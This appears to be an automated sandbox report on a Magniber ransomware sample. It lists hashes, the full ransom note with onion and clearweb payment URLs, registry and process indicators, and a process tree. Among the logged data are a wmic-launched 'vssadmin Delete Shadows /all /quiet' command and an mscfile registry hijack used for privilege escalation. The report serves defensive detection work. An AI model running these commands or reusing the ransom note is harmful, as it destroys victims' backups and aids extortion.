magniber | 7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed

Resubmissions

18-08-2021 21:21

210818-5xegav1ypa 10

22-05-2021 10:53

210522-fad5v5zgre 10

Analysis

max time kernel
104s
max time network
106s
platform
windows7_x64
resource
win7v20210410
submitted
18-08-2021 21:21

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General

Target

7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe
Size

22KB
MD5

c6b6ec00b64069d66c8d14d65f7cfd8f
SHA1

b90e6bf12728fa3b0984aabc32b39f1db082a1da
SHA256

7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed
SHA512

c9d7c97c63806e87804c33530f48ba950542ba28421d354cb287c9bf027ff5a853b76200e87eadd3cde0469f4b8c93f8c4bc0e71f5e4aa1cdf33e05c0673254a

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://76240cb06414c040c2csnwyqmwa.erpp3f6j634gmj33.onion/csnwyqmwa Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://76240cb06414c040c2csnwyqmwa.jobsbig.cam/csnwyqmwa http://76240cb06414c040c2csnwyqmwa.nowuser.casa/csnwyqmwa http://76240cb06414c040c2csnwyqmwa.boxgas.icu/csnwyqmwa http://76240cb06414c040c2csnwyqmwa.bykeep.club/csnwyqmwa Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://76240cb06414c040c2csnwyqmwa.erpp3f6j634gmj33.onion/csnwyqmwa

http://76240cb06414c040c2csnwyqmwa.jobsbig.cam/csnwyqmwa

http://76240cb06414c040c2csnwyqmwa.nowuser.casa/csnwyqmwa

http://76240cb06414c040c2csnwyqmwa.boxgas.icu/csnwyqmwa

http://76240cb06414c040c2csnwyqmwa.bykeep.club/csnwyqmwa

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 10 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1680	648	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1536	648	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1724	648	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1080	648	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1528	648	cmd.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2632	648	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2696	648	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2716	648	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2736	648	vssadmin.exe	48
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3016	648	vssadmin.exe	48

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\PushDebug.tif => C:\Users\Admin\Pictures\PushDebug.tif.csnwyqmwa	taskhost.exe
File renamed	C:\Users\Admin\Pictures\RepairProtect.png => C:\Users\Admin\Pictures\RepairProtect.png.csnwyqmwa	taskhost.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1064 set thread context of 1128	1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe	16
PID 1064 set thread context of 1180	1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe	15
PID 1064 set thread context of 1244	1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe	14
PID 1064 set thread context of 0	1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2716	vssadmin.exe
2736	vssadmin.exe
3016	vssadmin.exe
2632	vssadmin.exe
2696	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30547cab7794d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000a003c3af57a3d041856ddeca2f96779f00000000020000000000106600000001000020000000c98fa0ccaa652819d6e6f53184910d713384da1f4a8a3043d75674f6eb4f91af000000000e8000000002000020000000559d902896cfbea252dfbb2c418cea4c26de0e6df55f74a16b38176633ad7e0920000000b248677eb07083302672282617ef8a3724aecdacdf06187a08700092090e9e4d4000000090609d5ee5a3fa5d3bf998472d40b9949c97e3e29bebca30f2754c1b7ae089bc87d12ee9274e7d13798ec57288e79e613dc2c53ed955fe446f4f9f68a65b7738	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "336086911"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{D278DD81-006A-11EC-9117-4E8833708825} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000a003c3af57a3d041856ddeca2f96779f00000000020000000000106600000001000020000000c41f9cedcbcbf90a34604e562db38eee08fee97956cdc001e35ac8b5dfaa8afa000000000e80000000020000200000007368d9945fc672e0dc5c500157aa67ce9280298a26775fbee1af40f841643a4d90000000729596bd601ccfb3fc0b595b499bc98fdf58efb93dd97fbf2bb35784f343626ff83008977c96ffb041751e35c967e353f28bd73b4e8587f66e318ca6f3f3e44c119dc1da28ff12b6596284728581ac1ade98916729a34e60df5577ffda0e96d60f30496f60f88373b76ad64c1182842b5397349bacd9964a3aa9e043642f90acbf2837dae18e9fcc4d40d59f426dbb0d40000000af78390080332f92670de70d5d3b6e6e74b0976ac7a38078d1c852363df956685839615fa191d01703bf6540e4b4169acb94fd44ddeefbfe63c514ccbd27d0a2	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1740	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe
1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe
1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe
1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe
1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1244	Explorer.EXE
Token: SeShutdownPrivilege	1244	Explorer.EXE
Token: SeShutdownPrivilege	1244	Explorer.EXE
Token: SeShutdownPrivilege	1244	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1424	WMIC.exe
Token: SeSecurityPrivilege	1424	WMIC.exe
Token: SeTakeOwnershipPrivilege	1424	WMIC.exe
Token: SeLoadDriverPrivilege	1424	WMIC.exe
Token: SeSystemProfilePrivilege	1424	WMIC.exe
Token: SeSystemtimePrivilege	1424	WMIC.exe
Token: SeProfSingleProcessPrivilege	1424	WMIC.exe
Token: SeIncBasePriorityPrivilege	1424	WMIC.exe
Token: SeCreatePagefilePrivilege	1424	WMIC.exe
Token: SeBackupPrivilege	1424	WMIC.exe
Token: SeRestorePrivilege	1424	WMIC.exe
Token: SeShutdownPrivilege	1424	WMIC.exe
Token: SeDebugPrivilege	1424	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1424	WMIC.exe
Token: SeRemoteShutdownPrivilege	1424	WMIC.exe
Token: SeUndockPrivilege	1424	WMIC.exe
Token: SeManageVolumePrivilege	1424	WMIC.exe
Token: 33	1424	WMIC.exe
Token: 34	1424	WMIC.exe
Token: 35	1424	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1164	WMIC.exe
Token: SeSecurityPrivilege	1164	WMIC.exe
Token: SeTakeOwnershipPrivilege	1164	WMIC.exe
Token: SeLoadDriverPrivilege	1164	WMIC.exe
Token: SeSystemProfilePrivilege	1164	WMIC.exe
Token: SeSystemtimePrivilege	1164	WMIC.exe
Token: SeProfSingleProcessPrivilege	1164	WMIC.exe
Token: SeIncBasePriorityPrivilege	1164	WMIC.exe
Token: SeCreatePagefilePrivilege	1164	WMIC.exe
Token: SeBackupPrivilege	1164	WMIC.exe
Token: SeRestorePrivilege	1164	WMIC.exe
Token: SeShutdownPrivilege	1164	WMIC.exe
Token: SeDebugPrivilege	1164	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1164	WMIC.exe
Token: SeRemoteShutdownPrivilege	1164	WMIC.exe
Token: SeUndockPrivilege	1164	WMIC.exe
Token: SeManageVolumePrivilege	1164	WMIC.exe
Token: 33	1164	WMIC.exe
Token: 34	1164	WMIC.exe
Token: 35	1164	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1004	WMIC.exe
Token: SeSecurityPrivilege	1004	WMIC.exe
Token: SeTakeOwnershipPrivilege	1004	WMIC.exe
Token: SeLoadDriverPrivilege	1004	WMIC.exe
Token: SeSystemProfilePrivilege	1004	WMIC.exe
Token: SeSystemtimePrivilege	1004	WMIC.exe
Token: SeProfSingleProcessPrivilege	1004	WMIC.exe
Token: SeIncBasePriorityPrivilege	1004	WMIC.exe
Token: SeCreatePagefilePrivilege	1004	WMIC.exe
Token: SeBackupPrivilege	1004	WMIC.exe
Token: SeRestorePrivilege	1004	WMIC.exe
Token: SeShutdownPrivilege	1004	WMIC.exe
Token: SeDebugPrivilege	1004	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1004	WMIC.exe
Token: SeRemoteShutdownPrivilege	1004	WMIC.exe
Token: SeUndockPrivilege	1004	WMIC.exe
Token: SeManageVolumePrivilege	1004	WMIC.exe
Token: 33	1004	WMIC.exe
Token: 34	1004	WMIC.exe
Token: 35	1004	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1244	Explorer.EXE
1500	iexplore.exe
1244	Explorer.EXE
1244	Explorer.EXE
1244	Explorer.EXE
1244	Explorer.EXE

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
1244	Explorer.EXE
1244	Explorer.EXE
1244	Explorer.EXE
1244	Explorer.EXE
1244	Explorer.EXE
1244	Explorer.EXE
1244	Explorer.EXE
1244	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1500	iexplore.exe
1500	iexplore.exe
1376	IEXPLORE.EXE
1376	IEXPLORE.EXE
1376	IEXPLORE.EXE
1376	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1128 wrote to memory of 1740	1128	taskhost.exe	26
PID 1128 wrote to memory of 1740	1128	taskhost.exe	26
PID 1128 wrote to memory of 1740	1128	taskhost.exe	26
PID 1128 wrote to memory of 1716	1128	taskhost.exe	31
PID 1128 wrote to memory of 1716	1128	taskhost.exe	31
PID 1128 wrote to memory of 1716	1128	taskhost.exe	31
PID 1128 wrote to memory of 1320	1128	taskhost.exe	30
PID 1128 wrote to memory of 1320	1128	taskhost.exe	30
PID 1128 wrote to memory of 1320	1128	taskhost.exe	30
PID 1180 wrote to memory of 1732	1180	Dwm.exe	33
PID 1180 wrote to memory of 1732	1180	Dwm.exe	33
PID 1180 wrote to memory of 1732	1180	Dwm.exe	33
PID 1320 wrote to memory of 1004	1320	cmd.exe	34
PID 1320 wrote to memory of 1004	1320	cmd.exe	34
PID 1320 wrote to memory of 1004	1320	cmd.exe	34
PID 1732 wrote to memory of 1424	1732	cmd.exe	35
PID 1732 wrote to memory of 1424	1732	cmd.exe	35
PID 1732 wrote to memory of 1424	1732	cmd.exe	35
PID 1244 wrote to memory of 972	1244	Explorer.EXE	36
PID 1244 wrote to memory of 972	1244	Explorer.EXE	36
PID 1244 wrote to memory of 972	1244	Explorer.EXE	36
PID 1716 wrote to memory of 1500	1716	cmd.exe	37
PID 1716 wrote to memory of 1500	1716	cmd.exe	37
PID 1716 wrote to memory of 1500	1716	cmd.exe	37
PID 972 wrote to memory of 1164	972	cmd.exe	38
PID 972 wrote to memory of 1164	972	cmd.exe	38
PID 972 wrote to memory of 1164	972	cmd.exe	38
PID 1064 wrote to memory of 860	1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe	40
PID 1064 wrote to memory of 860	1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe	40
PID 1064 wrote to memory of 860	1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe	40
PID 860 wrote to memory of 620	860	cmd.exe	42
PID 860 wrote to memory of 620	860	cmd.exe	42
PID 860 wrote to memory of 620	860	cmd.exe	42
PID 1064 wrote to memory of 532	1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe	43
PID 1064 wrote to memory of 532	1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe	43
PID 1064 wrote to memory of 532	1064	7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe	43
PID 532 wrote to memory of 1552	532	cmd.exe	45
PID 532 wrote to memory of 1552	532	cmd.exe	45
PID 532 wrote to memory of 1552	532	cmd.exe	45
PID 1500 wrote to memory of 1376	1500	iexplore.exe	50
PID 1500 wrote to memory of 1376	1500	iexplore.exe	50
PID 1500 wrote to memory of 1376	1500	iexplore.exe	50
PID 1500 wrote to memory of 1376	1500	iexplore.exe	50
PID 1724 wrote to memory of 2212	1724	cmd.exe	63
PID 1080 wrote to memory of 2220	1080	cmd.exe	62
PID 1724 wrote to memory of 2212	1724	cmd.exe	63
PID 1080 wrote to memory of 2220	1080	cmd.exe	62
PID 1724 wrote to memory of 2212	1724	cmd.exe	63
PID 1080 wrote to memory of 2220	1080	cmd.exe	62
PID 1528 wrote to memory of 2240	1528	cmd.exe	64
PID 1528 wrote to memory of 2240	1528	cmd.exe	64
PID 1528 wrote to memory of 2240	1528	cmd.exe	64
PID 1536 wrote to memory of 2268	1536	cmd.exe	65
PID 1536 wrote to memory of 2268	1536	cmd.exe	65
PID 1536 wrote to memory of 2268	1536	cmd.exe	65
PID 2220 wrote to memory of 2444	2220	CompMgmtLauncher.exe	67
PID 2220 wrote to memory of 2444	2220	CompMgmtLauncher.exe	67
PID 2220 wrote to memory of 2444	2220	CompMgmtLauncher.exe	67
PID 2256 wrote to memory of 2460	2256	CompMgmtLauncher.exe	69
PID 2256 wrote to memory of 2460	2256	CompMgmtLauncher.exe	69
PID 2256 wrote to memory of 2460	2256	CompMgmtLauncher.exe	69
PID 2240 wrote to memory of 2484	2240	CompMgmtLauncher.exe	70
PID 2240 wrote to memory of 2484	2240	CompMgmtLauncher.exe	70
PID 2240 wrote to memory of 2484	2240	CompMgmtLauncher.exe	70

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Users\Admin\AppData\Local\Temp\7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe
  "C:\Users\Admin\AppData\Local\Temp\7ec95111e00ce9c19ebf88e9683363390873451b00e0348bca4d80ef1e4b20ed.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:860
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:620
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:532
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:1552
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:972
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1164

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1424

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1740
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1320
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1004
- C:\Windows\system32\cmd.exe
  cmd /c "start http://76240cb06414c040c2csnwyqmwa.jobsbig.cam/csnwyqmwa^&1^&50256948^&77^&339^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://76240cb06414c040c2csnwyqmwa.jobsbig.cam/csnwyqmwa&1&50256948&77&339&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1500 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1376

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:1680
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2460

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1536
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2268
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2500

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2212
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2776

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2444

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1528
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\system32\wbem\wmic.exe
